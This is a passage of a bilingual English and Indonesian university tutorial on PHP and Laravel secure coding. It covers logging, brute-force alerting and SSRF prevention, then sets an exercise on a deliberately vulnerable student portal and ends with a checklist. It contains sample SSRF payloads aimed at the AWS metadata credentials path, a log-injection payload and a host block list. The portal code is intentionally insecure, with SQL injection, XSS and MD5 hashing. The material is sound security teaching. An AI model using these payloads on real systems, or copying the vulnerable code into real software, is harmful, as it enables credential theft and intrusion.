        $safeEmail = preg_replace('/[\x00-\x1F\x7F]/u', '', $email);

        $this->logger->info('Authentication attempt', [
            'user_id'      => $userId ?? 'null',
            'email'        => hash('sha256', strtolower($safeEmail)), // Hash PII for privacy
            'success'      => $success,
            'ip_address'   => $ipAddress,
            'user_agent'   => substr($_SERVER['HTTP_USER_AGENT'] ?? 'unknown', 0, 200),
            'timestamp'    => (new \DateTimeImmutable())->format('c'),
        ]);
    }
}

Notice that we:

  • Strip control characters from user input to prevent log injection
  • Hash the email address to protect personally identifiable information (PII) in logs
  • Use structured logging (JSON context) rather than string interpolation
  • Truncate the user agent to prevent log flooding

Laravel Logging Configuration

In config/logging.php:

return [
    'channels' => [
        'security' => [
            'driver'   => 'daily',
            'path'     => storage_path('logs/security.log'),
            'level'    => env('LOG_LEVEL', 'debug'),
            'days'     => 90, // Retain for compliance
            'permission' => 0600, // Only owner can read/write
        ],

        'stack' => [
            'driver'   => 'stack',
            'channels' => ['single', 'security'],
            'ignore_exceptions' => false,
        ],
    ],
];

The security channel keeps a separate, longer-retention log with restricted file permissions. Stack it with your main application log so you never miss security events.

Monitoring and Alerting

Logs are useless if nobody reads them. Implement automated alerting:

<?php

declare(strict_types=1);

class SecurityMonitor
{
    public function __construct(
        private readonly \PDO $pdo,
    ) {}

    public function detectBruteForce(string $email, string $ipAddress): bool
    {
        $stmt = $this->pdo->prepare(
            'SELECT COUNT(*) AS cnt
             FROM audit_log
             WHERE action = :action
             AND JSON_EXTRACT(context, "$.email") = :email
             AND created_at > :since'
        );
        $stmt->execute([
            'action' => 'auth.failed',
            'email'  => hash('sha256', strtolower($email)),
            'since'  => (new \DateTimeImmutable('-15 minutes'))->format('Y-m-d H:i:s'),
        ]);

        $row = $stmt->fetch(\PDO::FETCH_ASSOC);

        if ((int) $row['cnt'] >= 10) {
            // Send alert via email, Slack, or webhook
            $this->sendAlert('Brute-force attack detected', [
                'email'      => substr($email, 0, 3) . '***',
                'ip'         => $ipAddress,
                'attempts'   => $row['cnt'],
                'window'     => '15 minutes',
            ]);

            return true;
        }

        return false;
    }
}

A09: Kegagalan Pencatatan dan Pemantauan Keamanan

Tanpa pencatatan dan pemantauan yang memadai, pelanggaran tidak terdeteksi selama berbulan-bulan. Waktu rata-rata untuk mendeteksi pelanggaran adalah 194 hari (IBM, 2025). Pencatatan keamanan bukan hanya tentang kepatuhan: ini adalah sistem deteksi pelanggaran Anda.

Yang Harus Dicatat

PeristiwaYang Harus DirekamMengapa
Percobaan autentikasiID pengguna, IP, timestamp, sukses/gagal, alasan kegagalanMendeteksi serangan brute-force dan credential stuffing
Kegagalan otorisasiID pengguna, IP, resource yang diminta, izin yang diperlukanMengidentifikasi upaya bypass kontrol akses
Kegagalan validasi inputEndpoint, field input, nilai yang dikirim (dipotong), IPMendeteksi serangan injeksi dan fuzzing
Pemicu rate limitIP, endpoint, rate saat ini, batasPeringatan dini upaya DoS
Akses data sensitifID pengguna, ID catatan, operasi (lihat/edit/hapus/ekspor)Mendeteksi ancaman orang dalam dan akses data berlebihan
Perubahan konfigurasiNama pengaturan, nilai lama, nilai baru, diubah olehMendeteksi konfigurasi backdoor (misalnya, menonaktifkan MFA)

Implementasi Pencatatan Aman

Kode Rentan (Log Injection):

<?php

// BERBAHAYA: Input pengguna tidak divalidasi ditulis langsung ke log
$username = $_POST['username'];
error_log("Percobaan login untuk pengguna: {$username}");

Penyerang memberikan username=admin\n[2026-07-10 10:00:00] PERINGATAN: Pelanggaran keamanan terdeteksi sebagai username. Log sekarang berisi entri palsu yang terlihat seperti peringatan sah.

Kode Aman:

<?php

declare(strict_types=1);

class SecureLogger
{
    public function __construct(
        private readonly \Psr\Log\LoggerInterface $logger,
    ) {}

    public function logAuthenticationAttempt(
        ?string $userId,
        string $email,
        bool $success,
        string $ipAddress,
    ): void {
        // Sanitasi: hapus newline dan karakter kontrol dari data yang disediakan pengguna
        $safeEmail = preg_replace('/[\x00-\x1F\x7F]/u', '', $email);

        $this->logger->info('Percobaan autentikasi', [
            'user_id'      => $userId ?? 'null',
            'email'        => hash('sha256', strtolower($safeEmail)), // Hash PII untuk privasi
            'success'      => $success,
            'ip_address'   => $ipAddress,
            'user_agent'   => substr($_SERVER['HTTP_USER_AGENT'] ?? 'unknown', 0, 200),
            'timestamp'    => (new \DateTimeImmutable())->format('c'),
        ]);
    }
}

Perhatikan bahwa kita:

  • Menghapus karakter kontrol dari input pengguna untuk mencegah log injection
  • Meng-hash alamat email untuk melindungi informasi identitas pribadi (PII) dalam log
  • Menggunakan structured logging (konteks JSON) daripada interpolasi string
  • Memotong user agent untuk mencegah log flooding

Konfigurasi Logging Laravel

Di config/logging.php:

return [
    'channels' => [
        'security' => [
            'driver'   => 'daily',
            'path'     => storage_path('logs/security.log'),
            'level'    => env('LOG_LEVEL', 'debug'),
            'days'     => 90, // Simpan untuk kepatuhan
            'permission' => 0600, // Hanya pemilik yang dapat baca/tulis
        ],

        'stack' => [
            'driver'   => 'stack',
            'channels' => ['single', 'security'],
            'ignore_exceptions' => false,
        ],
    ],
];

Channel security menyimpan log terpisah dengan retensi lebih lama dan izin file terbatas. Tumpuk dengan log aplikasi utama Anda sehingga Anda tidak pernah melewatkan peristiwa keamanan.

Pemantauan dan Alerting

Log tidak berguna jika tidak ada yang membacanya. Implementasikan alerting otomatis:

<?php

declare(strict_types=1);

class SecurityMonitor
{
    public function __construct(
        private readonly \PDO $pdo,
    ) {}

    public function detectBruteForce(string $email, string $ipAddress): bool
    {
        $stmt = $this->pdo->prepare(
            'SELECT COUNT(*) AS cnt
             FROM audit_log
             WHERE action = :action
             AND JSON_EXTRACT(context, "$.email") = :email
             AND created_at > :since'
        );
        $stmt->execute([
            'action' => 'auth.failed',
            'email'  => hash('sha256', strtolower($email)),
            'since'  => (new \DateTimeImmutable('-15 menit'))->format('Y-m-d H:i:s'),
        ]);

        $row = $stmt->fetch(\PDO::FETCH_ASSOC);

        if ((int) $row['cnt'] >= 10) {
            // Kirim peringatan melalui email, Slack, atau webhook
            $this->sendAlert('Serangan brute-force terdeteksi', [
                'email'      => substr($email, 0, 3) . '***',
                'ip'         => $ipAddress,
                'attempts'   => $row['cnt'],
                'window'     => '15 menit',
            ]);

            return true;
        }

        return false;
    }
}

A10: Server-Side Request Forgery (SSRF)

SSRF occurs when an attacker tricks the server into making requests to unintended locations—internal networks, cloud metadata services, or third-party systems. SSRF is particularly dangerous in cloud environments where the metadata service (e.g., http://169.254.169.254/latest/meta-data/ on AWS) exposes credentials.

Vulnerable URL Fetching

Vulnerable Code:

<?php

// DANGEROUS: Attacker controls the entire URL
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;

An attacker sends ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ and retrieves AWS IAM credentials. Or ?url=http://internal-admin.se.polinema.local:8080/ and scans the internal network.

Secure Code:

<?php

declare(strict_types=1);

class SecureUrlFetcher
{
    private const BLOCKED_HOSTS = [
        '127.0.0.1',
        'localhost',
        '169.254.169.254', // AWS metadata
        'metadata.google.internal', // GCP metadata
        '0.0.0.0',
        '::1',
    ];

    private const ALLOWED_SCHEMES = ['https'];

    private const ALLOWED_DOMAINS = [
        'api.se.polinema.ac.id',
        'cdn.se.polinema.ac.id',
    ];

    public function fetch(string $url): string
    {
        $parsed = parse_url($url);

        // Only allow specific schemes
        $scheme = $parsed['scheme'] ?? '';
        if (!in_array($scheme, self::ALLOWED_SCHEMES, true)) {
            throw new \InvalidArgumentException('Only HTTPS URLs are allowed.');
        }

        // Only allow specific domains
        $host = $parsed['host'] ?? '';
        if (!in_array($host, self::ALLOWED_DOMAINS, true)) {
            throw new \InvalidArgumentException('Domain not in allowlist.');
        }

        // Resolve DNS and check for internal IPs
        $ip = gethostbyname($host);
        if (in_array($ip, self::BLOCKED_HOSTS, true)) {
            throw new \RuntimeException('Internal IP resolution blocked.');
        }

        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
            throw new \RuntimeException('Private or reserved IP address blocked.');
        }

        // Use curl with redirect restrictions
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => false, // Do not follow redirects blindly
            CURLOPT_TIMEOUT        => 10,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_PROTOCOLS      => CURLPROTO_HTTPS,
        ]);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($httpCode !== 200) {
            throw new \RuntimeException("HTTP {$httpCode}: Request failed.");
        }

        return $response;
    }
}

Laravel HTTP Client

Laravel’s HTTP client (Http facade) does not prevent SSRF by itself, but you can configure it safely:

use Illuminate\Support\Facades\Http;

// Allowlist approach: only allow specific domains
class SecureApiClient
{
    private const ALLOWED_HOSTS = [
        'api.se.polinema.ac.id',
        'cdn.se.polinema.ac.id',
    ];

    public function fetchData(string $endpoint): array
    {
        $url = 'https://api.se.polinema.ac.id/' . ltrim($endpoint, '/');

        $host = parse_url($url, PHP_URL_HOST);

        if (!in_array($host, self::ALLOWED_HOSTS, true)) {
            throw new \RuntimeException('External API calls are restricted.');
        }

        return Http::timeout(10)
            ->withOptions(['allow_redirects' => false])
            ->get($url)
            ->throw()
            ->json();
    }
}

SSRF Prevention Checklist

  • Never accept full URLs from users; use allowlists for domains, schemes, and ports
  • Block internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16)
  • Only allow HTTPS; block HTTP, FTP, file, gopher, and other schemes
  • Do not follow redirects automatically—validate the redirect target before following
  • Use a proxy or network-level egress firewall as a second layer of defense

A10: Server-Side Request Forgery (SSRF)

SSRF terjadi ketika penyerang menipu server untuk membuat permintaan ke lokasi yang tidak dimaksudkan: jaringan internal, layanan metadata cloud, atau sistem pihak ketiga. SSRF sangat berbahaya di lingkungan cloud di mana layanan metadata (misalnya, http://169.254.169.254/latest/meta-data/ di AWS) mengekspos kredensial.

Pengambilan URL Rentan

Kode Rentan:

<?php

// BERBAHAYA: Penyerang mengontrol seluruh URL
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;

Penyerang mengirim ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ dan mengambil kredensial IAM AWS. Atau ?url=http://internal-admin.se.polinema.local:8080/ dan memindai jaringan internal.

Kode Aman:

<?php

declare(strict_types=1);

class SecureUrlFetcher
{
    private const BLOCKED_HOSTS = [
        '127.0.0.1',
        'localhost',
        '169.254.169.254', // Metadata AWS
        'metadata.google.internal', // Metadata GCP
        '0.0.0.0',
        '::1',
    ];

    private const ALLOWED_SCHEMES = ['https'];

    private const ALLOWED_DOMAINS = [
        'api.se.polinema.ac.id',
        'cdn.se.polinema.ac.id',
    ];

    public function fetch(string $url): string
    {
        $parsed = parse_url($url);

        // Hanya izinkan skema tertentu
        $scheme = $parsed['scheme'] ?? '';
        if (!in_array($scheme, self::ALLOWED_SCHEMES, true)) {
            throw new \InvalidArgumentException('Hanya URL HTTPS yang diizinkan.');
        }

        // Hanya izinkan domain tertentu
        $host = $parsed['host'] ?? '';
        if (!in_array($host, self::ALLOWED_DOMAINS, true)) {
            throw new \InvalidArgumentException('Domain tidak ada dalam daftar izin.');
        }

        // Resolusi DNS dan periksa IP internal
        $ip = gethostbyname($host);
        if (in_array($ip, self::BLOCKED_HOSTS, true)) {
            throw new \RuntimeException('Resolusi IP internal diblokir.');
        }

        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
            throw new \RuntimeException('Alamat IP privat atau dicadangkan diblokir.');
        }

        // Gunakan curl dengan batasan redirect
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => false, // Jangan ikuti redirect secara buta
            CURLOPT_TIMEOUT        => 10,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_PROTOCOLS      => CURLPROTO_HTTPS,
        ]);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($httpCode !== 200) {
            throw new \RuntimeException("HTTP {$httpCode}: Permintaan gagal.");
        }

        return $response;
    }
}

HTTP Client Laravel

HTTP client Laravel (fasad Http) tidak mencegah SSRF dengan sendirinya, tetapi Anda dapat mengonfigurasinya dengan aman:

use Illuminate\Support\Facades\Http;

// Pendekatan allowlist: hanya izinkan domain tertentu
class SecureApiClient
{
    private const ALLOWED_HOSTS = [
        'api.se.polinema.ac.id',
        'cdn.se.polinema.ac.id',
    ];

    public function fetchData(string $endpoint): array
    {
        $url = 'https://api.se.polinema.ac.id/' . ltrim($endpoint, '/');

        $host = parse_url($url, PHP_URL_HOST);

        if (!in_array($host, self::ALLOWED_HOSTS, true)) {
            throw new \RuntimeException('Panggilan API eksternal dibatasi.');
        }

        return Http::timeout(10)
            ->withOptions(['allow_redirects' => false])
            ->get($url)
            ->throw()
            ->json();
    }
}

Checklist Pencegahan SSRF

  • Jangan pernah menerima URL lengkap dari pengguna; gunakan allowlist untuk domain, skema, dan port
  • Blokir rentang IP internal (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16)
  • Hanya izinkan HTTPS; blokir HTTP, FTP, file, gopher, dan skema lainnya
  • Jangan ikuti redirect secara otomatis: validasi target redirect sebelum mengikuti
  • Gunakan proxy atau firewall egress tingkat jaringan sebagai lapisan pertahanan kedua

Hands-On Exercise: Secure the “Vulnerable Student Portal”

Now it is your turn. Below is a deliberately vulnerable PHP snippet from a student portal. Review the code, identify every OWASP Top 10 violation, and implement secure fixes.

The Vulnerable Portal

<?php

// Vulnerable Student Portal — DO NOT DEPLOY
include 'config.php';

$id = $_GET['id'];
$query = "SELECT * FROM students WHERE id = {$id}";
$result = mysqli_query($conn, $query);
$student = mysqli_fetch_assoc($result);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $newGrade = $_POST['grade'];
    $comment = $_POST['comment'];

    mysqli_query($conn,
        "UPDATE students SET grade = '{$newGrade}' WHERE id = {$id}"
    );

    echo "<div class='comment'>" . $comment . "</div>";
}

$encrypted = md5($student['ssn']);

echo "<h1>Welcome, " . $student['name'] . "</h1>";
echo "<p>Grade: " . $student['grade'] . "</p>";
echo "<p>SSN (hashed with MD5): {$encrypted}</p>";
echo "<!-- Debug: " . print_r($student, true) . " -->";

Exercise Tasks

  1. Identify vulnerabilities — Find at least 10 distinct security issues. Classify each by OWASP category.
  2. Rewrite the code using secure PHP practices: prepared statements, output escaping, input validation, proper hashing, access control, and no debug data exposure.
  3. Add a security layer — Add CSRF protection, a rate limiter, and an audit log entry for every grade change.
  4. Laravel migration — If this were a Laravel application, rewrite the vulnerable code using Eloquent, Blade, Gate policies, and the Hash facade.

What to Submit

For each task, provide:

  • The list of vulnerabilities you found, with OWASP category and line reference
  • Your secure rewrite of the vulnerable code
  • Your additional security layer implementation
  • Your Laravel migration code

Expected Vulnerabilities (Minimum)

#VulnerabilityOWASPLocation
1SQL injection via $_GET['id']A03Lines 6–7
2SQL injection via $_POST['grade']A03Lines 12, 16
3XSS via unsanitised $comment echoA03Line 19
4XSS via unsanitised $student['name'] echoA03Line 24
5Broken Access Control — no ownership checkA01Entire file
6Weak hashing — MD5 on SSNA02Line 22
7Exposed config.php with credentialsA05Line 4
8Debug data in HTML commentsA05Line 27
9No CSRF protection on POSTA04/A01Line 11
10No rate limitingA04Line 11
11No audit log for grade changesA09Line 16
12MySQLi with mysqli_query (no prepared statements)A03Lines 8, 15

Latihan Langsung: Amankan “Portal Mahasiswa Rentan”

Sekarang giliran Anda. Di bawah ini adalah potongan PHP yang sengaja dibuat rentan dari portal mahasiswa. Tinjau kode, identifikasi setiap pelanggaran OWASP Top 10, dan implementasikan perbaikan aman.

Portal Rentan

<?php

// Portal Mahasiswa Rentan — JANGAN DEPLOY
include 'config.php';

$id = $_GET['id'];
$query = "SELECT * FROM students WHERE id = {$id}";
$result = mysqli_query($conn, $query);
$student = mysqli_fetch_assoc($result);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $newGrade = $_POST['grade'];
    $comment = $_POST['comment'];

    mysqli_query($conn,
        "UPDATE students SET grade = '{$newGrade}' WHERE id = {$id}"
    );

    echo "<div class='comment'>" . $comment . "</div>";
}

$encrypted = md5($student['ssn']);

echo "<h1>Selamat datang, " . $student['name'] . "</h1>";
echo "<p>Nilai: " . $student['grade'] . "</p>";
echo "<p>SSN (dihash dengan MD5): {$encrypted}</p>";
echo "<!-- Debug: " . print_r($student, true) . " -->";

Tugas Latihan

  1. Identifikasi kerentanan: Temukan setidaknya 10 masalah keamanan yang berbeda. Klasifikasikan masing-masing berdasarkan kategori OWASP.
  2. Tulis ulang kode menggunakan praktik PHP aman: prepared statements, output escaping, validasi input, hashing yang tepat, kontrol akses, dan tidak ada eksposur data debug.
  3. Tambahkan lapisan keamanan: Tambahkan perlindungan CSRF, rate limiter, dan entri log audit untuk setiap perubahan nilai.
  4. Migrasi Laravel: Jika ini adalah aplikasi Laravel, tulis ulang kode rentan menggunakan Eloquent, Blade, policy Gate, dan fasad Hash.

Yang Harus Dikumpulkan

Untuk setiap tugas, berikan:

  • Daftar kerentanan yang Anda temukan, dengan kategori OWASP dan referensi baris
  • Penulisan ulang aman Anda dari kode rentan
  • Implementasi lapisan keamanan tambahan Anda
  • Kode migrasi Laravel Anda

Kerentanan yang Diharapkan (Minimum)

#KerentananOWASPLokasi
1SQL injection via $_GET['id']A03Baris 6–7
2SQL injection via $_POST['grade']A03Baris 12, 16
3XSS via $comment tidak disanitasi di echoA03Baris 19
4XSS via $student['name'] tidak disanitasi di echoA03Baris 24
5Broken Access Control: tidak ada pemeriksaan kepemilikanA01Keseluruhan file
6Hashing lemah: MD5 pada SSNA02Baris 22
7config.php terekspos dengan kredensialA05Baris 4
8Data debug di komentar HTMLA05Baris 27
9Tidak ada perlindungan CSRF pada POSTA04/A01Baris 11
10Tidak ada rate limitingA04Baris 11
11Tidak ada log audit untuk perubahan nilaiA09Baris 16
12MySQLi dengan mysqli_query (tanpa prepared statements)A03Baris 8, 15

Secure Coding Checklist for PHP / Laravel Projects

Use this checklist before submitting any SE Lab project, thesis, or course assignment. Review each item and check the box only when it is satisfied.

Input & Output

  • All database queries use prepared statements with parameter binding — never string interpolation
  • All user-supplied data rendered in HTML is escaped with htmlspecialchars() or Blade {{ }}
  • File uploads validate MIME type, file extension (allowlist), and file size before storage
  • File uploads are stored outside the webroot or in non-executable directories
  • All user-supplied data in shell commands is validated against an allowlist or escaped with escapeshellarg()

Authentication & Session

  • Passwords are hashed with password_hash() using PASSWORD_BCRYPT (cost >= 12)
  • Password reset tokens are single-use, time-limited (15 minutes), and cryptographically random
  • Session ID is regenerated after login, privilege change, and logout
  • Session cookies have HttpOnly, Secure, and SameSite=Lax flags
  • Account lockout or rate limiting is applied after 5 consecutive failed login attempts
  • Multi-factor authentication is enforced for admin accounts

Authorisation

  • Every data-access endpoint verifies that the authenticated user owns or is permitted to access the resource
  • Role and permission checks happen on the server — never trust client-side UI to enforce access control
  • Administrative endpoints are behind role-checking middleware
  • In Laravel, use policies and gates for authorisation; call $this->authorize() in every controller action

Data Protection

  • Sensitive data at rest is encrypted using AES-256 (Laravel’s Crypt facade or equivalent)
  • Personally identifiable information (PII) in logs is hashed or pseudonymised
  • Database backups are encrypted and access-restricted
  • API keys, database passwords, and other secrets are stored in environment variables — never in source code

Configuration

  • APP_DEBUG is false and APP_ENV is production in production
  • display_errors is Off; errors are logged, not displayed
  • Security headers are set: X-Content-Type-Options, X-Frame-Options, Strict-Transport-Security, Referrer-Policy
  • CORS configuration restricts allowed_origins to explicit domains — no * with credentials
  • .env is excluded from version control and inaccessible via the web server

Dependencies

  • PHP version is actively supported (8.2+ as of 2026)
  • composer audit returns zero known vulnerabilities
  • All Composer and npm packages are pinned to exact versions in lock files
  • Dependabot or equivalent is configured for automated vulnerability alerts

Logging & Monitoring

  • Authentication attempts (success and failure) are logged
  • Authorisation failures are logged
  • Suspicious patterns (rapid-fire requests, unusual access times) trigger alerts
  • Logs do not contain passwords, tokens, or unredacted PII
  • Log files have restrictive permissions (0600) and are rotated regularly

CI/CD & Deployment

  • GitHub Actions or other CI/CD workflows pin actions to full commit SHAs
  • Secrets are injected via environment or secrets manager — never in workflow files
  • Production deployments use composer install --no-dev --optimize-autoloader
  • Automated tests include security regression tests for critical flows (auth, authorisation, data access)

Checklist Secure Coding untuk Proyek PHP / Laravel

Gunakan checklist ini sebelum mengirimkan proyek SE Lab, tesis, atau tugas mata kuliah apa pun. Tinjau setiap item dan centang kotak hanya ketika terpenuhi.

Input & Output

  • Semua query database menggunakan prepared statements dengan parameter binding: tidak pernah interpolasi string
  • Semua data yang disediakan pengguna yang di-render dalam HTML di-escape dengan htmlspecialchars() atau Blade {{ }}
  • Upload file memvalidasi tipe MIME, ekstensi file (allowlist), dan ukuran file sebelum penyimpanan
  • Upload file disimpan di luar webroot atau di direktori non-executable
  • Semua data yang disediakan pengguna dalam perintah shell divalidasi terhadap allowlist atau di-escape dengan escapeshellarg()

Autentikasi & Sesi

  • Password di-hash dengan password_hash() menggunakan PASSWORD_BCRYPT (cost >= 12)
  • Token reset password bersifat sekali pakai, berbatas waktu (15 menit), dan acak secara kriptografis
  • ID sesi diregenerasi setelah login, perubahan hak istimewa, dan logout
  • Cookie sesi memiliki flag HttpOnly, Secure, dan SameSite=Lax
  • Penguncian akun atau rate limiting diterapkan setelah 5 percobaan login gagal berturut-turut
  • Autentikasi multi-faktor diterapkan untuk akun admin

Otorisasi

  • Setiap endpoint akses data memverifikasi bahwa pengguna terautentikasi memiliki atau diizinkan mengakses resource
  • Pemeriksaan peran dan izin terjadi di server: jangan pernah percaya UI sisi klien untuk menegakkan kontrol akses
  • Endpoint administratif berada di belakang middleware pemeriksaan peran
  • Di Laravel, gunakan policies dan gates untuk otorisasi; panggil $this->authorize() di setiap aksi controller

Perlindungan Data

  • Data sensitif saat disimpan dienkripsi menggunakan AES-256 (fasad Crypt Laravel atau setara)
  • Informasi identitas pribadi (PII) dalam log di-hash atau dipseudonimkan
  • Backup database dienkripsi dan dibatasi aksesnya
  • Kunci API, password database, dan secrets lainnya disimpan dalam variabel environment: tidak pernah dalam kode sumber

Konfigurasi

  • APP_DEBUG adalah false dan APP_ENV adalah production di production
  • display_errors adalah Off; error dicatat, tidak ditampilkan
  • Header keamanan disetel: X-Content-Type-Options, X-Frame-Options, Strict-Transport-Security, Referrer-Policy
  • Konfigurasi CORS membatasi allowed_origins ke domain eksplisit: tidak ada * dengan credentials
  • .env dikecualikan dari version control dan tidak dapat diakses melalui server web

Dependensi

  • Versi PHP didukung secara aktif (8.2+ per 2026)
  • composer audit mengembalikan nol kerentanan yang diketahui
  • Semua paket Composer dan npm di-pin ke versi tepat di file lock
  • Dependabot atau setara dikonfigurasi untuk peringatan kerentanan otomatis

Pencatatan & Pemantauan

  • Percobaan autentikasi (berhasil dan gagal) dicatat
  • Kegagalan otorisasi dicatat
  • Pola mencurigakan (permintaan cepat, waktu akses tidak biasa) memicu peringatan
  • Log tidak mengandung password, token, atau PII yang tidak direduksi
  • File log memiliki izin restriktif (0600) dan dirotasi secara teratur

CI/CD & Deployment

  • GitHub Actions atau workflow CI/CD lainnya mem-pin actions ke SHA commit lengkap
  • Secrets diinjeksi melalui environment atau secrets manager: tidak pernah di file workflow
  • Deployment production menggunakan composer install --no-dev --optimize-autoloader
  • Tes otomatis menyertakan security regression tests untuk alur kritis (auth, otorisasi, akses data)

Summary

  1. Security is not optional. Every student project that processes user data—fintech payments, healthcare records, academic credentials—is a potential breach target. The OWASP Top 10 is your minimum viable security baseline.
  2. Shift left. Fix vulnerabilities during requirements and design, not during penetration testing. A design-level fix costs 30× less than a production hotfix. Apply STRIDE threat modelling before writing a single line of code.
  3. A01—Broken Access Control is the most common vulnerability. Always verify that the authenticated user owns or has permission to access the requested resource. Never rely on client-side UI to enforce authorisation.
  4. A02—Cryptographic Failures are trivially avoidable. Use password_hash() with bcrypt (cost >= 12). Never use MD5 or SHA1. Never hardcode secrets—use environment variables.
  5. A03—Injection is stopped by prepared statements (SQL), output escaping (XSS), and input allowlists (command). If you only fix one category in your codebase today, make it this one.
  6. A04—Insecure Design means missing controls: no rate limiting, no audit logs, trust-by-default assumptions. Design for zero-trust—validate, authenticate, and authorise every request.
  7. A05—Security Misconfiguration is “death by a thousand paper cuts.” Turn off debug mode, restrict CORS origins, set security headers, and protect your .env file.
  8. A06—Vulnerable and Outdated Components are the easiest risk to fix: run composer audit regularly, enable Dependabot, and stay on supported PHP and Laravel versions.
  9. A07—Authentication Failures are prevented with strong password policies, session regeneration after login, HttpOnly/Secure/SameSite cookies, and MFA for sensitive accounts.
  10. A08—Software Integrity Failures mean verifying that your code, dependencies, and deployment artifacts have not been tampered with. Pin actions, verify hashes, sign artifacts.
  11. A09—Logging and Monitoring is your breach detection system. Log authentication events, authorisation failures, and suspicious patterns. Never log raw passwords or PII. Set up automated alerts.
  12. A10—SSRF is prevented with URL allowlists, internal IP blocks, scheme restrictions (HTTPS only), and redirect validation. Never accept arbitrary URLs from users.

“Given enough eyeballs, all bugs are shallow—but only if those eyeballs are trained to recognise them. Every developer is a security engineer. Wear that responsibility in every pull request.”

Ringkasan

  1. Keamanan tidak opsional. Setiap proyek mahasiswa yang memproses data pengguna, seperti pembayaran fintech, catatan kesehatan, atau kredensial akademik, adalah target pelanggaran potensial. OWASP Top 10 adalah baseline keamanan minimum yang layak.
  2. Geser ke kiri. Perbaiki kerentanan selama requirements dan desain, bukan selama pengujian penetrasi. Perbaikan tingkat desain biayanya 30× lebih murah daripada hotfix production. Terapkan threat modelling STRIDE sebelum menulis satu baris kode pun.
  3. A01: Broken Access Control adalah kerentanan paling umum. Selalu verifikasi bahwa pengguna terautentikasi memiliki atau diizinkan mengakses resource yang diminta. Jangan pernah mengandalkan UI sisi klien untuk menegakkan otorisasi.
  4. A02: Kegagalan Kriptografi dapat dihindari dengan mudah. Gunakan password_hash() dengan bcrypt (cost >= 12). Jangan pernah menggunakan MD5 atau SHA1. Jangan pernah hardcode secrets, gunakan variabel environment.
  5. A03: Injeksi dihentikan oleh prepared statements (SQL), output escaping (XSS), dan allowlist input (command). Jika Anda hanya memperbaiki satu kategori di codebase Anda hari ini, jadikan yang ini.
  6. A04: Desain Tidak Aman berarti kontrol yang hilang: tidak ada rate limiting, tidak ada log audit, asumsi trust-by-default. Desain untuk zero-trust: validasi, autentikasi, dan otorisasi setiap permintaan.
  7. A05: Miskonfigurasi Keamanan adalah “kematian oleh seribu luka kertas.” Matikan mode debug, batasi origin CORS, atur header keamanan, dan lindungi file .env Anda.
  8. A06: Komponen Rentan dan Usang adalah risiko termudah untuk diperbaiki: jalankan composer audit secara teratur, aktifkan Dependabot, dan tetap di versi PHP dan Laravel yang didukung.
  9. A07: Kegagalan Autentikasi dicegah dengan kebijakan password kuat, regenerasi sesi setelah login, cookie HttpOnly/Secure/SameSite, dan MFA untuk akun sensitif.
  10. A08: Kegagalan Integritas Perangkat Lunak berarti memverifikasi bahwa kode, dependensi, dan artifact deployment Anda tidak telah dirusak. Pin actions, verifikasi hash, tandatangani artifact.
  11. A09: Pencatatan dan Pemantauan adalah sistem deteksi pelanggaran Anda. Catat peristiwa autentikasi, kegagalan otorisasi, dan pola mencurigakan. Jangan pernah mencatat password mentah atau PII. Atur peringatan otomatis.
  12. A10: SSRF dicegah dengan allowlist URL, blok IP internal, pembatasan skema (hanya HTTPS), dan validasi redirect. Jangan pernah menerima URL arbitrer dari pengguna.

“Dengan cukup banyak mata, semua bug dangkal, tetapi hanya jika mata-mata itu terlatih untuk mengenalinya. Setiap pengembang adalah security engineer. Kenakan tanggung jawab itu di setiap pull request.”

Bacaan Selanjutnya

Related Content

Tutorial

Docker & Containerization Fundamentals with PHP

A hands-on introduction to Docker and containerization for PHP developers. Learn images, containers, Dockerfiles, and docker-compose by building a multi-service PHP + Nginx + MySQL stack from scratch.

Tutorial

Microservices Architecture Fundamentals with PHP

A foundational guide to microservices architecture for PHP developers. Learn why and when to decompose a monolith, how to design service boundaries using domain-driven design, synchronous vs asynchronous communication patterns, database-per-service, and runnable PHP examples with Lumen/Slim — complete with contract tests.

Tutorial

MVC/MVVM Architecture Fundamentals with PHP

A hands-on introduction to Model-View-Controller (MVC) and Model-View-ViewModel (MVVM) separation patterns for PHP developers. Learn how each pattern works using a student-course enrolment domain, compare Laravel MVC with a Vue.js-backed MVVM client, understand trade-offs, avoid fat controllers and leaky ViewModels, and refactor spaghetti PHP into clean architecture — with runnable code samples throughout.

Tutorial

Domain-Driven Design Fundamentals with PHP

A hands-on guide to Domain-Driven Design (DDD) for PHP developers. Learn ubiquitous language, bounded contexts, entities, value objects, aggregates, repositories, and layered architecture — then refactor an anemic CRUD course registration model into a rich DDD-style domain model with runnable before-and-after code.

Tutorial

Blackbox and Whitebox Test in Simple Way

A beginner-friendly guide to software testing using Blackbox and Whitebox approaches. Learn how to design effective test cases, write test scenarios, and implement both testing methods with practical PHP examples.

// Jurusan Teknologi Informasi, Politeknik Negeri Malang

"address": "Jl. Soekarno Hatta No.9, Jatimulyo, Kec. Lowokwaru, Malang, East Java — Indonesia 65141"

"email": "imam.fahrur@polinema.ac.id"